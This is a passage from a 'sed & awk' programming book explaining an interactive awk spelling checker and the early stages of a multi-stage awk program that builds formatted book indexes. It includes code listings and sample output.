    if ( system("test -s " wordlist ) ) {
    # if wordlist is empty (or spell command failed), exit
        print "No misspelled words found."
        system("rm " spellsource " " wordlist)
        exit
    }

# assign wordlist file to ARGV[1] so that awk will read it.
    ARGV[1] = wordlist

# display list of user responses
    responseList = "Responses: \n\tChange each occurrence,"
    responseList = responseList "\n\tGlobal change,"
    responseList = responseList "\n\tAdd to Dict,"
    responseList = responseList "\n\tHelp,"
    responseList = responseList "\n\tQuit"
    responseList = responseList "\n\tCR to ignore: "
    printf("%s", responseList)

} # end of BEGIN procedure

The first part of the BEGIN procedure processes the command-line arguments. It checks that ARGC is greater than one for the program to continue. That is, in addition to "nawk," a filename must be specified. This file specifies the document that spell will analyze. An optional dictionary filename can be specified as the second argument. The spellcheck script follows the command-line interface of spell, although none of the obscure spell options can be invoked from the spellcheck command line. If a dictionary is not specified, then the script executes a test command to see if the file dict exists. If it does, the prompt asks the user to approve using it as the dictionary file.

Once we've processed the arguments, we delete them from the ARGV array. This is to prevent their being interpreted as filename arguments.

The second part of the BEGIN procedure sets up some temporary files, because we do not want to work directly with the original file. At the end of the program, the user will have the option of saving or discarding the work done in the temporary files. The temporary files all begin with "sp_" and are removed before exiting the program.

The third part of the procedure executes spell and creates a word list. We test to see that this file exists and that there is something in it before proceeding. If for some reason the spell program fails, or there are no misspelled words found, the wordlist file will be empty. If this file does exist, then we assign the filename as the second element in the ARGV array. This is an unusual but valid way of supplying the name of the input file that awk will process. Note that this file did not exist when awk was invoked! The name of the document file, which was specified on the command line, is no longer in the ARGV array. We will not read the document file using awk's main input loop. Instead, a while loop reads the file to find and correct misspelled words.

The last task in the BEGIN procedure is to define and display a list of responses that the user can enter when a misspelled word is displayed. This list is displayed once at the beginning of the program as well as when the user enters "Help" at the main prompt. Putting this list in a variable allows us to access it from different points in the program, if necessary, without maintaining duplicates. The assignment of responseList could be done more simply, but the long string would not be printable in this book. (You can't break a string over two lines.)

12.1.2 Main Procedure

The main procedure is rather small, merely displaying a misspelled word and prompting the user to enter an appropriate response. This procedure is executed for each misspelled word.

One reason this procedure is short is because the central action - correcting a misspelled word - is handled by two larger user-defined functions, which we'll see in the last section.

# main procedure, executed for each line in wordlist.
#	Purpose is to show misspelled word and prompt user
#	for appropriate action.

{
# assign word to misspelling
    misspelling = $1
    response = 1
    ++word
# print misspelling and prompt for response
    while (response !~ /(^[cCgGaAhHqQ])|^$/ ) {
        printf("\n%d - Found %s (C/G/A/H/Q/):", word, misspelling)
        getline response < "-"
    }
# now process the user's response
# CR - carriage return ignores current word
# Help
    if (response ~ /[Hh](elp)?/) {
    # Display list of responses and prompt again.
        printf("%s", responseList)
        printf("\n%d - Found %s (C/G/A/Q/):", word, misspelling)
        getline response < "-"
    }
# Quit
    if (response ~ /[Qq](uit)?/) exit
# Add to dictionary
    if ( response ~ /[Aa](dd)?/) {
        dict[++dictEntry] = misspelling
    }
# Change each occurrence
    if ( response ~ /[cC](hange)?/) {
    # read each line of the file we are correcting
        newspelling = ""; changes = ""
        while( (getline < spellsource) > 0){
        # call function to show line with misspelled word
        # and prompt user to make each correction
            make_change($0)
        # all lines go to temp output file
            print > spellout
        }
    # all lines have been read
    # close temp input and temp output file
        close(spellout)
        close(spellsource)
    # if change was made
        if (changes){
        # show changed lines
            for (j = 1; j <= changes; ++j)
                print changedLines[j]
            printf ("%d lines changed. ", changes)
        # function to confirm before saving changes
            confirm_changes()
        }
    }
# Globally change
    if ( response ~ /[gG](lobal)?/) {
    # call function to prompt for correction
    # and display each line that is changed.
    # Ask user to approve all changes before saving.
        make_global_change()
    }
} # end of Main procedure

The first field of each input line from wordlist contains the misspelled word and it is assigned to misspelling. We construct a while loop inside which we display the misspelled word to the user and prompt for a response. Look closely at the regular expression that tests the value of response:

while (response !~ /(^[cCgGaAhHqQ])|^$/)

The user can only get out of this loop by entering any of the specified letters or by entering a carriage return - an empty line. The use of regular expressions for testing user input helps tremendously in writing a simple but flexible program. The user can enter a single letter "c" in lower- or uppercase or a word beginning with "c" such as "Change."

The rest of the main procedure consists of conditional statements that test for a specific response and perform a corresponding action. The first response is "help," which displays the list of responses again and then redisplays the prompt.

The next response is "quit." The action associated with quit is exit, which drops out of the main procedure and goes to the END procedure.

If the user enters "add," the misspelled word is put in the array dict and will be added as an exception in a local dictionary.

The "Change" and "Global" responses cause the program's real work to begin. It's important to understand how they differ. When the user enters "c" or "change," the first occurrence of the misspelled word in the document is displayed. Then the user is prompted to make the change. This happens for each occurrence in the document. When the user enters "g" or "global," the user is prompted to make the change right away, and all the changes are made at once without prompting the user to confirm each one. This work is largely handled by two functions, make_change() and make_global_change(), which we'll look at in the last section. These are all the valid responses, except one. A carriage return means to ignore the misspelled word and get the next word in the list. This is the default action of the main input loop, so no conditional need be set up for it.

12.1.3 END Procedure

The END procedure, of course, is reached in one of the following circumstances:

  • The spell command failed or did not turn up any misspellings.

  • The list of misspelled words is exhausted.

  • The user has entered "quit" at a prompt.

The purpose of the END procedure is to allow the user to confirm any permanent change to the document or the dictionary.

# END procedure makes changes permanent.
# It overwrites the original file, and adds words
# to the dictionary.
# It also removes the temporary files.

END {
# if we got here after reading only one record,
# no changes were made, so exit.
    if (NR <= 1) exit
# user must confirm saving corrections to file
    while (saveAnswer !~ /([yY](es)?)|([nN]o?)/ ) {
        printf "Save corrections in %s (y/n)? ", SPELLFILE
        getline saveAnswer < "-"
    }
# if answer is yes then mv temporary input file to SPELLFILE
# save old SPELLFILE, just in case
    if (saveAnswer ~ /^[yY]/) {
        system("cp " SPELLFILE " " SPELLFILE ".orig")
        system("mv " spellsource " " SPELLFILE)
    }
# if answer is no then rm temporary input file
    if (saveAnswer ~ /^[nN]/)
        system("rm " spellsource)

# if words have been added to dictionary array, then prompt
# to confirm saving in current dictionary.
    if (dictEntry) {
        printf "Make changes to dictionary (y/n)? "
        getline response < "-"
        if (response ~ /^[yY]/){
        # if no dictionary defined, then use "dict"
            if (! SPELLDICT) SPELLDICT = "dict"

        # loop through array and append words to dictionary
            sub(/^\+/, "", SPELLDICT)
            for ( item in dict )
                print dict[item] >> SPELLDICT
            close(SPELLDICT)
        # sort dictionary file
            system("sort " SPELLDICT "> tmp_dict")
            system("mv " "tmp_dict " SPELLDICT)
        }
    }
# remove word list
    system("rm sp_wordlist")
} # end of END procedure

The END procedure begins with a conditional statement that tests that the number of records is less than or equal to 1. This occurs when the spell program does not generate a word list or when the user enters "quit" after seeing just the first record. If so, the END procedure is exited as there is no work to save.

Next, we create a while loop to ask the user about saving the changes made to the document. It requires the user to respond "y" or "n" to the prompt. If the answer is "y," the temporary input file replaces the original document file. If the answer is "n," the temporary file is removed. No other responses are accepted.

Next, we test to see if the dict array has something in it. Its elements are the words to be added to the dictionary. If the user approves adding them to the dictionary, these words are appended to the current dictionary, as defined above, or if not, to a local dict file. Because the dictionary must be sorted to be read by spell, a sort command is executed with the output sent to a temporary file that is afterwards copied over the original file.

12.1.4 Supporting Functions

There are three supporting functions, two of which are large and do the bulk of the work of making changes in the document. The third function supports that work by confirming that the user wants to save the changes that were made.

When the user wants to "Change each occurrence" in the document, the main procedure has a while loop that reads the document one line at a time. (This line becomes $0.) It calls the make_change() function to see if the line contains the misspelled word. If it does, the line is displayed and the user is prompted to enter the correct spelling of the word.

# make_change -- prompt user to correct misspelling
#		 for current input line.  Calls itself
# 		 to find other occurrences in string.
# 	stringToChange -- initially $0; then unmatched substring of $0
# 	len -- length from beginning of $0 to end of matched string
# Assumes that misspelling is defined.

function make_change (stringToChange, len,	# parameters
    line, OKmakechange, printstring, carets)	# locals
{
# match misspelling in stringToChange; otherwise do nothing
  if ( match(stringToChange, misspelling) ) {
  # Display matched line
    printstring = $0
    gsub(/\t/, " ", printstring)
    print printstring
    carets = "^"
    for (i = 1; i < RLENGTH; ++i)
        carets = carets "^"
    if (len)
        FMT = "%" len+RSTART+RLENGTH-2 "s\n"
    else
        FMT = "%" RSTART+RLENGTH-1 "s\n"
    printf(FMT, carets)
  # Prompt user for correction, if not already defined
    if (! newspelling) {
        printf "Change to:"
        getline newspelling < "-"
    }
  # A carriage return falls through
  # If user enters correction, confirm
    while (newspelling && ! OKmakechange) {
        printf ("Change %s to %s? (y/n):", misspelling, newspelling)
        getline OKmakechange < "-"
        madechg = ""
    # test response
        if (OKmakechange ~ /[yY](es)?/ ) {
        # make change (first occurrence only)
            madechg = sub(misspelling, newspelling, stringToChange)
        }
        else if ( OKmakechange ~ /[nN]o?/ ) {
            # offer chance to re-enter correction
            printf "Change to:"
            getline newspelling < "-"
            OKmakechange = ""
        }
    } # end of while loop

   # if len, we are working with substring of $0
    if (len) {
    # assemble it
        line = substr($0,1,len-1)
        $0 = line stringToChange
    }
    else {
        $0 = stringToChange
        if (madechg) ++changes
    }

   # put changed line in array for display
    if (madechg)
        changedLines[changes] = ">" $0

   # create substring so we can try to match other occurrences
    len += RSTART + RLENGTH
    part1 = substr($0, 1, len-1)
    part2 = substr($0, len)
   # calls itself to see if misspelling is found in remaining part
    make_change(part2, len)

  } # end of if

} # end of make_change()

If the misspelled word is not found in the current input line, nothing is done. If it is found, this function shows the line containing the misspelling and asks the user if it should be corrected. Underneath the display of the current line is a row of carets that indicates the misspelled word.

Two other utlitities that are found on the UNIX system
          ^^^^^^^^^^

The current input line is copied to printstring because it is necessary to change the line for display purposes. If the line contains any tabs, each tab in this copy of the line is temporarily replaced by a single space. This solves a problem of aligning the carets when tabs were present. (A tab counts as a single character when determining the length of a line but actually occupies greater space when displayed, usually five to eight characters long.)

After displaying the line, the function prompts the user to enter a correction. It then follows up by displaying what the user has entered and asks for confirmation. If the correction is approved, the sub() function is called to make the change. If not approved, the user is given another chance to enter the correct word.

Remember that the sub() function only changes the first occurrence on a line. The gsub() function changes all occurrences on a line, but we want to allow the user to confirm each change. Therefore, we have to try to match the misspelled word against the remaining part of the line. And we have to be able to match the next occurrence regardless of whether or not the first occurrence was changed.

To do this, make_change() is designed as a recursive function; it calls itself to look for additional occurrences on the same line. In other words, the first time make_change() is called, it looks at all of $0 and matches the first misspelled word on that line. Then it splits the line into two parts - the first part contains the characters up to the end of the first occurrence and the second part contains the characters that immediately follow up to the end of the line. Then it calls itself to try and match the misspelled word in the second part. When called recursively, the function takes two arguments.

make_change(part2, len)

The first is the string to be changed, which is initially $0 when called from the main procedure but each time thereafter is the remaining part of $0. The second argument is len or the length of the first part, which we use to extract the substring and reassemble the two parts at the end.

The make_change() function also collects an array of lines that were changed.

# put changed line in array for display
        if (madechg)
                changedLines[changes] = ">" $0

The variable madechg will have a value if the sub() function was successful. $0 (the two parts have been rejoined) is assigned to an element of the array. When all of the lines of the document have been read, the main procedure loops through this array to display all the changed lines. Then it calls the confirm_changes() function to ask if these changes should be saved. It copies the temporary output file over the temporary input file, keeping intact the corrections made for the current misspelled word.

If a user decides to make a "Global change," the make_global_change() function is called to do it. This function is similar to the make_change() function, but is simpler because we can make the change globally on each line.

# make_global_change --
#		prompt user to correct misspelling
#		for all lines globally.
#		Has no arguments
# Assumes that misspelling is defined.

function make_global_change(    newspelling, OKmakechange, changes)
{
# prompt user to correct misspelled word
   printf "Globally change to:"
   getline newspelling < "-"

# carriage return falls through
# if there is an answer, confirm
   while (newspelling && ! OKmakechange) {
        printf ("Globally change %s to %s? (y/n):", misspelling,
                newspelling)
        getline OKmakechange < "-"
    # test response and make change
        if (OKmakechange ~ /[yY](es)?/ ) {
        # open file, read all lines
            while( (getline < spellsource) > 0){
            # if match is found, make change using gsub
            # and print each changed line.
                if ($0 ~ misspelling) {
                    madechg = gsub(misspelling, newspelling)
                    print ">", $0
                    changes += 1  # counter for line changes
                }
            # write all lines to temp output file
                print > spellout
            } # end of while loop for reading file

        # close temporary files
            close(spellout)
            close(spellsource)
        # report the number of changes
            printf ("%d lines changed. ", changes)
        # function to confirm before saving changes
            confirm_changes()
        } # end of if (OKmakechange ~ y)

    # if correction not confirmed,  prompt for new word
        else if ( OKmakechange ~ /[nN]o?/ ){
            printf "Globally change to:"
            getline newspelling < "-"
            OKmakechange = ""
        }

  } # end of while loop for prompting user for correction

} # end of make_global_change()

This function prompts the user to enter a correction. A while loop is set up to read all the lines of the document and apply the gsub() function to make the changes. The main difference is that all the changes are made at once - the user is not prompted to confirm them. When all lines have been read, the function displays the lines that were changed and calls confirm_changes() to get the user to approve this batch of changes before saving them.

The confirm_changes() function is a routine called to get approval of the changes made when the make_change() or make_global_change() function is called.

# confirm_changes --
#		confirm before saving changes

function confirm_changes(  savechanges) {
# prompt to confirm saving changes
    while (! savechanges ) {
        printf ("Save changes? (y/n)")
        getline savechanges < "-"
    }
# if confirmed, mv output to input
    if (savechanges ~ /[yY](es)?/)
        system("mv " spellout " " spellsource)
}

The reason for creating this function is to prevent the duplication of code. Its purpose is simply to require the user to acknowledge the changes before replacing the old version of the document file (spellsource) with the new version (spellout).

12.1.5 The spellcheck Shell Script

To make it easy to invoke this awk script, we create the spellcheck shell script (say that three times fast). It contains the following lines:

AWKLIB=/usr/local/awklib
nawk -f $AWKLIB/spellcheck.awk $*

This script sets up a shell variable AWKLIB that specifies the location of the spellcheck.awk script. The symbol "$*" expands to all command-line parameters following the name of the script. These parameters are then available to awk.

One of the interesting things about this spell checker is how little is done in the shell script.[1] All of the work is done in the awk programming language, including executing 10 UNIX commands. We're using a consistent syntax and the same constructs by doing it all in awk. When you have to do some of your work in the shell and some in awk, it can get confusing. For instance, you have to remember the differences in the syntax of if conditionals and how to reference variables. Modern versions of awk provide a true alternative to the shell for executing commands and interacting with a user. The full listing for spellcheck.awk is found in Appendix C, Supplement for Chapter 12.

[1] UNIX Text Processing (Dougherty and O'Reilly, Howard W. Sams, 1987) presents a sed-based spell checker that relies heavily upon the shell. It is interesting to compare the two versions.

Previous: 11.4 Epilogue | sed & awk | Next: 12.2 Generating a Formatted Index
11.4 Epilogue | Book Index | 12.2 Generating a Formatted Index
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.2 Generating a Formatted Index

sed & awk

sed & awkSearch this book
Previous: 12.1 An Interactive Spelling Checker Chapter 12
Full-Featured Applications 		Next: 12.3 Spare Details of the masterindex Program

12.2 Generating a Formatted Index

The process of generating an index usually involves three steps:

  • Code the index entries in the document.

  • Format the document, producing index entries with page numbers.

  • Process the index entries to sort them, combining entries that differ only in page number, and then preparing the formatted index.

This process remains pretty much the same whether using troff, other coded batch formatters, or a WYSIWYG formatter such as FrameMaker, although the steps are not as clearly separated with the latter. However, I will be describing how we use troff to generate an index such as the one for this book. We code the index using the following macros:

Macro | Description
.XX | Produces general index entries.
.XN | Creates "see" or "see also" cross references.
.XB | Creates bold page entry indicating primary reference.
.XS | Begins range of pages for entry.
.XE | Ends range of pages for entry.

These macros take a single quoted argument, which can have one of several forms, indicating primary, secondary, or tertiary keys:

"primary [ : secondary [ ; tertiary ]]"

A colon is used as the separator between the primary and secondary keys. To support an earlier coding convention, the first comma is interpreted as the separator if no colon is used. A semicolon indicates the presence of a tertiary key. The page number is always associated with the last key.

Here is an entry with only a primary key:

.XX "XView"

The next two entries specify a secondary key:

.XX "XView: reserved names"
.XX "XView, packages"

The most complex entries contain tertiary keys:

.XX "XView: objects; list"
.XX "XView: objects; hierarchy of"

Finally, there are two types of cross references:

.XN "error recovery: (see error handling)"
.XX "mh mailer: (see also xmh mailer)"

The "see" entry refers a person to another index entry. The "see also" is typically used when there are entries for, in this case, "mh mailer," but there is relevant information catalogued under another name. Only "see" entries do not have page numbers associated with them.

When the document is processed by troff, the following index entries are produced:

XView    42
XView: reserved names   43
XView, packages 43
XView: objects; list of 43
XView: objects; hierarchy of    44
XView, packages 45
error recovery: (See error handling)
mh mailer: (see also xmh mailer)    46

These entries serve as input to the indexing program. Each entry (except for "see" entries) consists of the key and a page number. In other words, the entry is divided into two parts and the first part, the key, can also be divided into three parts. When these entries are processed by the indexing program and the output is formatted, the entries for "XView" are combined as follows:

XView, 42
    objects; hierarchy of, 44;
       list of, 43
    packages, 43,45
    reserved names, 43

To accomplish this, the indexing program must:

  • Sort the index by key and page number.

  • Merge entries that differ only in the page number.

  • Merge entries that have the same primary and/or secondary keys.

  • Look for consecutive page numbers and combine as a range.

  • Prepare the index in a format for display on screen or for printing.

This is what the index program does if you are processing the index entries for a single book. It also allows you to create a master index, an overall index for a set of volumes. To do that, an awk script appends either a roman numeral or an abbreviation after the page number. Each file then contains the entries for a particular book and those entries are uniquely identified. If we chose to use roman numerals to identify the volume, then the above entries would be changed to:

XView	42:I
XView: reserved names   43:I
XView: objects; list of 43:I

With multivolume entries, the final index that is generated might look like this:

XView, I:42; II:55,69,75
    objects; hierarchy of, I:44;
          list of, I:43; II: 56
    packages, I:43,45
    reserved names, I:43

For now, it's only important to recognize that the index entry used as input to the awk program can have a page number or a page number followed by a volume identifier.

12.2.1 The masterindex Program

Because of the length and complexity of this indexing application,[2] our description presents the larger structure of the program. Use the comments in the program itself to understand what is happening in the program line by line.

[2] The origins of this indexing program are traced back to a copy of an indexing program written in awk by Steve Talbott. I learned this program by taking it apart, and made some changes to it to support consecutive page numbering in addition to section-page numbering. That was the program I described in UNIX Text Processing. Knowing that program, I wrote an indexing program that could deal with index entries produced by Microsoft Word and generate an index using section-page numbering. Later, we needed a master index for several books in our X Window System Series. I took it as an opportunity to rethink our indexing program, and rewrite it using nawk, so that it supports both single-book and multiple-book indices. The AWK Programming Language contains an example of an index program that is smaller than the one shown here and might be a place to start if you find this one too complicated. It does not, however, deal with keys. That indexing program is a simplified version of the one described in Bell Labs Computing Science Technical Report 128, Tools for Printing Indexes, October 1986, by Brian Kernighan and Jon Bentley. [D.D.]

After descriptions of each of the program modules, a final section discusses a few remaining details. For the most part, these are code fragments that deal with nitty-gritty, input-related problems that had to be solved along the way. The shell script masterindex[3] allows the user to specify a number of different command-line options to specify what kind of index to make and it invokes the necessary awk programs to do the job. The operations of the masterindex program can be broken into five separate programs or modules that form a single pipe.

[3] This shell script and the documentation for the program are presented in Appendix C. You might want to first read the documentation for a basic understanding of using the program.

input.idx | sort | pagenums.idx | combine.idx | format.idx

All but one of the programs are written using awk. For sorting the entries, we rely upon sort, a standard UNIX utility. Here's a brief summary of what each of these programs does:

input.idx

Standardizes the format of entries and rotates them.

sort

Sorts entries by key, volume, and page number.

pagenums.idx

Merges entries with same key, creating a list of page numbers.

combine.idx

Combines consecutive page numbers into a range.

format.idx

Prepares the formatted index for the screen or processing by troff.

We will discuss each of these steps in a separate section.

12.2.2 Standardizing Input

This input.idx script looks for different types of entries and standardizes them for easier processing by subsequent programs. Additionally, it automatically rotates index entries containing a tilde (~). (See the section "Rotating Two Parts" later in this chapter.)

The input to the input.idx program consists of two tab-separated fields, as described earlier. The program produces output records with three colon-separated fields. The first field contains the primary key; the second field contains the secondary and tertiary keys, if defined; and the third field contains the page number.

Here's the code for input.idx program:

#!/work/bin/nawk -f
# ------------------------------------------------
# input.idx -- standardize input before sorting
# Author:  Dale Dougherty
# Version 1.1   7/10/90
#
# input is "entry" tab "page_number"
# ------------------------------------------------
BEGIN { FS = "\t"; OFS = "" }

#1 Match entries that need rotating that contain a single tilde
   # $1 ~ /~[^~]/  # regexp does not work and I do not know why
$1 ~ /~/ && $1 !~ /~~/ {
   # split first field into array named subfield
    n = split($1, subfield, "~")
    if (n == 2) {
    # print entry without "~" and then rotated
        printf("%s %s::%s\n", subfield[1], subfield[2], $2)
        printf("%s:%s:%s\n", subfield[2], subfield[1], $2)
    }
    next
}# End of 1

#2 Match entries that contain two tildes
$1 ~ /~~/ {
   # replace ~~ with ~
    gsub(/~~/, "~", $1)
} # End of 2

#3  Match entries that use "::" for literal ":".
$1 ~ /::/ {
   # substitute octal value for "::"
    gsub(/::/, "\\72", $1)
}# End of 3

#4 Clean up entries
{
   # look for second colon, which might be used instead of ";"
    if (sub(/:.*:/, "&;", $1)) {
        sub(/:;/, ";", $1)
    }
   # remove blank space if any after colon.
    sub(/: */, ":", $1)
   # if comma is used as delimiter, convert to colon.
    if ( $1 !~ /:/ ) {
    # On see also & see, try to put delimiter before "("
        if ($1 ~ /\([sS]ee/) {
            if (sub(/, *.*\(/, ":&", $1))
                sub(/:, */, ":", $1)
            else
                sub(/  *\(/, ":(", $1)
        }
        else { # otherwise, just look for comma
            sub(/, */, ":", $1)
        }
    }
    else {
        # added to insert semicolon in "See"
        if ($1 ~ /:[^;]+ *\([sS]ee/)
            sub(/  *\(/, ";(", $1)
    }
}# End of 4

#5 match See Alsos and fix for sort at end
$1 ~ / *\([Ss]ee +[Aa]lso/ {
  # add "~zz" for sort at end
    sub(/\([Ss]ee +[Aa]lso/, "~zz(see also", $1)
    if ($1 ~ /:[^; ]+ *~zz/) {
        sub(/ *~zz/, "; ~zz", $1)
    }
  # if no page number
    if ($2 == "") {
        print $0 ":"
        next
    }
    else {
    # output two entries:
    # print See Also entry w/out page number
        print $1 ":"
    # remove See Also
        sub(/ *~zz\(see also.*$/, "", $1)
        sub(/;/, "", $1)
    # print as normal entry
        if ( $1 ~ /:/ )
            print $1 ":" $2
        else
            print $1 "::" $2
        next
    }
}# End of 5

#6 Process entries without page number (See entries)
(NF == 1 || $2 == "" || $1 ~ /\([sS]ee/) {
   # if a "See" entry
    if ( $1 ~ /\([sS]ee/ ) {
        if ( $1 ~ /:/ )
            print $1 ":"
        else
            print $1 ":"
        next
    }
    else  { # if not a See entry, generate error
        printerr("No page number")
        next
        }
}# End of 6

#7 If the colon is used as the delimiter
$1 ~ /:/ {
   # output entry:page
    print $1 ":" $2
    next
}# End of 7

#8  Match entries with only primary keys.
{
    print $1 "::" $2
}# End of 8

# supporting functions
#
# printerr -- print error message and current record
#		Arg: message to be displayed

function printerr (message) {
    # print message, record number and record
    printf("ERROR:%s (%d) %s\n", message, NR, $0) > "/dev/tty"
}

This script consists of a number of pattern-matching rules to recognize different types of input. Note that an entry could match more than one rule unless the action associated with a rule calls the next statement.

As we describe this script, we will be referring to the rules by number. Rule 1 rotates entries containing a tilde and produces two output records. The split() function creates an array named subfield that contains the two parts of the compound entry. The two parts are printed in their original order and are then swapped to create a second output record in which the secondary key becomes a primary key.

Because we are using the tilde as a special character, we must provide some way of actually entering a tilde. We have implemented the convention that two consecutive tildes are translated into a single tilde. Rule 2 deals with that case, but notice that the pattern for rule 1 makes sure that the first tilde it matches is not followed by another tilde.[4]

[4] In the first edition, Dale wrote, "For extra credit, please send me mail if you can figure out why the commented regular expression just before rule 1 does not do the job. I used the compound expression as a last resort." I'm ashamed to admit that this stumped me also. When Henry Spencer turned on the light, it was blinding: "The reason why the commented regexp doesn't work is that it doesn't do what the author thought. :-) It looks for tilde followed by a non-tilde character... but the second tilde of a ~~ combination is usually followed by a non-tilde! Using /[^~]~[^~]/ would probably work." I plugged this regular expression in to the program, and it worked just fine. [A.R.]

The order of rules 1 and 2 in the script is significant. We can't replace "~~" with "~" until after the procedure for rotating the entry.

Rule 3 does a job similar to that of rule 2; it allows "::" to be used to output a literal ":" in the index. However, since we use the colon as an input delimiter throughout the input to the program, we cannot allow it to appear in an entry as finally output until the very end. Thus, we replace the sequence "::" with the colon's ASCII value in octal. (The format.idx program will reverse the replacement.)

Beginning with rule 4, we attempt to recognize various ways of coding entries - giving the user more flexibility. However, to make writing the remaining programs easier, we must reduce this variety to a few basic forms.

In the "basic" syntax, the primary and secondary keys are separated by a colon. The secondary and tertiary keys are separated by a semicolon. Nonetheless the program also recognizes a second colon, in place of a semicolon, as the delimiter between the secondary and tertiary keys. It also recognizes that if no colon is specified as a delimiter, then a comma can be used as the delimiter between primary and secondary keys. (In part, this was done to be compatible with an earlier program that used the comma as the delimiter.) The sub() function looks for the first comma on the line and changes it to a colon. This rule also tries to standardize the syntax of "see" and "see also" entries. For entries that are colon-delimited, rule 4 removes spaces after the colon. All of the work is done using the sub() function.

Rule 5 deals with "see also" entries. We prepend the arbitrary string "~zz" to the "see also" entries so that they will sort at the end of the list of secondary keys. The pagenums.idx script, later in the pipeline, will remove "~zz" after the entries have been sorted.

Rule 6 matches entries that do not specify a page number. The only valid entry without a page number contains a "see" reference. This rule outputs "see" entries with ":" at the end to indicate an empty third field. All other entries generate an error message via the printerr() function. This function notifies the user that a particular entry does not have a page number and will not be included in the output. This is one method of standardizing input - throwing out what you can't interpret properly. However, it is critical to notify the user so that he or she can correct the entry.

Rule 7 outputs entries that contain the colon-delimiter. Its action uses next to avoid reaching rule 8.

Finally, rule 8 matches entries that contain only a primary key. In other words, there is no delimiter. We output "::" to indicate an empty second field.

Here's a portion of the contents of our test file. We'll be using it to generate examples in this section.

$ cat test
XView: programs; initialization 45
XV_INIT_ARGS~macro      46
Xv_object~type  49
Xv_singlecolor~type     80
graphics: (see also server image)
graphics, XView model   83
X Window System: events 84
graphics, CANVAS_X_PAINT_WINDOW 86
X Window System, X Window ID for paint window   87
toolkit (See X Window System).
graphics: (see also server image)
Xlib, repainting canvas 88
Xlib.h~header file      89

When we run this file through input.idx, it produces:

$ input.idx test
XView:programs; initialization:45
XV_INIT_ARGS macro::46
macro:XV_INIT_ARGS:46
Xv_object type::49
type:Xv_object:49
Xv_singlecolor type::80
type:Xv_singlecolor:80
graphics:~zz(see also server image):
graphics:XView model:83
X Window System:events:84
graphics:CANVAS_X_PAINT_WINDOW:86
X Window System:X Window ID for paint window:87
graphics:~zz(see also server image):
Xlib:repainting canvas:88
Xlib.h header file::89
header file:Xlib.h:89

Each entry now consists of three colon-separated fields. In the sample output, you can find examples of entries with only a primary key, those with primary and secondary keys, and those with primary, secondary, and tertiary keys. You can also find examples of rotated entries, duplicate entries, and "see also" entries.

The only difference in the output for multivolume entries is that each entry would have a fourth field that contains the volume identifier.

12.2.3 Sorting the Entries

Now the output produced by input.idx is ready to be sorted. The easiest way to sort the entries is to use the standard UNIX sort program rather than write a custom script. In addition to sorting the entries, we want to remove any duplicates and for this task we use the uniq program.

Here's the command line we use:

sort -bdf -t: +0 -1 +1 -2 +3 -4 +2n -3n | uniq

As you can see, we use a number of options with the sort command. The first option, -b, specifies that leading spaces be ignored. The -d option specifies a dictionary sort in which symbols and special characters are ignored. -f specifies that lower- and uppercase letters are to be folded together; in other words, they are to be treated as the same character for purposes of the sort. The next argument is perhaps the most important: -t: tells the program to use a colon as a field delimiter for sort keys. The "+" options that follow specify the number of fields to skip from the beginning of the line. Therefore, to specify the first field as the primary sort key, we use "+0." Similarly, the "-" options specify the end of a sort key. "-1" specifies that the primary sort key ends at the first field, or the beginning of the second field. The second sort field is the secondary key. The fourth field ("+3") if it exists, contains the volume number. The last key to sort is the page number; this requires a numeric sort (if we did not tell sort that this key consists of numbers, then the number 1 would be followed by 10, instead of 2). Notice that we sort page numbers after sorting the volume numbers. Thus, all the page numbers for Volume I are sorted in order before the page numbers for Volume II. Finally, we pipe the output to uniq to remove identical entries. Processing the output from input.idx, the sort command produces:

graphics:CANVAS_X_PAINT_WINDOW:86
graphics:XView model:83
graphics:~zz(see also server image):
header file:Xlib.h:89
macro:XV_INIT_ARGS:46
toolkit:(See X Window System).:
type:Xv_object:49
type:Xv_singlecolor:80
X Window System:events:84
X Window System:X Window ID for paint window:87
Xlib:repainting canvas:88
Xlib.h header file::89
XView:programs; initialization:45
XV_INIT_ARGS macro::46
Xv_object type::49
Xv_singlecolor type::80

12.2.4 Handling Page Numbers

The pagenums.idx program looks for entries that differ only in page number and creates a list of page numbers for a single entry. The input to this program is four colon-separated fields:

PRIMARY:SECONDARY:PAGE:VOLUME

The fourth is optional. For now, we consider only the index for a single book, in which there are no volume numbers. Remember that the entries are now sorted.

The heart of this program compares the current entry to the previous one and determines what to output. The conditionals that implement the comparison can be extracted and expressed in pseudocode, as follows:

PRIMARY = $1
SECONDARY = $2
PAGE = $3
if (PRIMARY == prevPRIMARY)
    if (SECONDARY == prevSECONDARY)
        print PAGE
    else
        print PRIMARY:SECONDARY:PAGE
else
    print PRIMARY:SECONDARY:PAGE
prevPRIMARY = PRIMARY
prevSECONDARY = SECONDARY

Let's see how this code handles a series of entries, beginning with:

XView::18

The primary key doesn't match the previous primary key; the line is output as is:

XView::18

The next entry is:

XView:about:3

When we compare the primary key of this entry to the previous one, they are the same. When we compare secondary keys, they differ; we output the record as is:

XView:about:3

The next entry is:

XView:about:7

Because both the primary and secondary keys match the keys of the previous entry, we simply output the page number. (The printf function is used instead of print so that there is no automatic newline.) This page number is appended to the previous entry so that it looks like this:

XView:about:3,7

The next entry also matches both keys:

XView:about:10

Again, only the page number is output so that entry now looks like:

XView:about:3,7,10

In this way, three entries that differ only in page number are combined into a single entry.

The full script adds an additional test to see if the volume identifier matches. Here's the full pagenums.idx script:

#!/work/bin/nawk -f
# ------------------------------------------------
# pagenums.idx -- collect pages for common entries
# Author:  Dale Dougherty
# Version 1.1   7/10/90
#
# input should be PRIMARY:SECONDARY:PAGE:VOLUME
# ------------------------------------------------

BEGIN { FS = ":"; OFS = ""}

# main routine -- apply to all input lines
{
   # assign fields to variables
    PRIMARY = $1
    SECONDARY = $2
    PAGE = $3
    VOLUME = $4

   # check for a see also and collect it in array
    if (SECONDARY ~ /\([Ss]ee +[Aa]lso/) {
    # create tmp copy & remove "~zz" from copy
        tmpSecondary = SECONDARY
        sub(/~zz\([Ss]ee +[Aa]lso */, "", tmpSecondary)
        sub(/\) */, "", tmpSecondary)
    # remove secondary key along with "~zz"
        sub(/^.*~zz\([Ss]ee +[Aa]lso */, "", SECONDARY)
        sub(/\) */, "", SECONDARY)
    # assign to next element of seeAlsoList
        seeAlsoList[++eachSeeAlso] = SECONDARY "; "
        prevPrimary = PRIMARY
    # assign copy to previous secondary key
        prevSecondary = tmpSecondary
        next
    } # end test for see Also

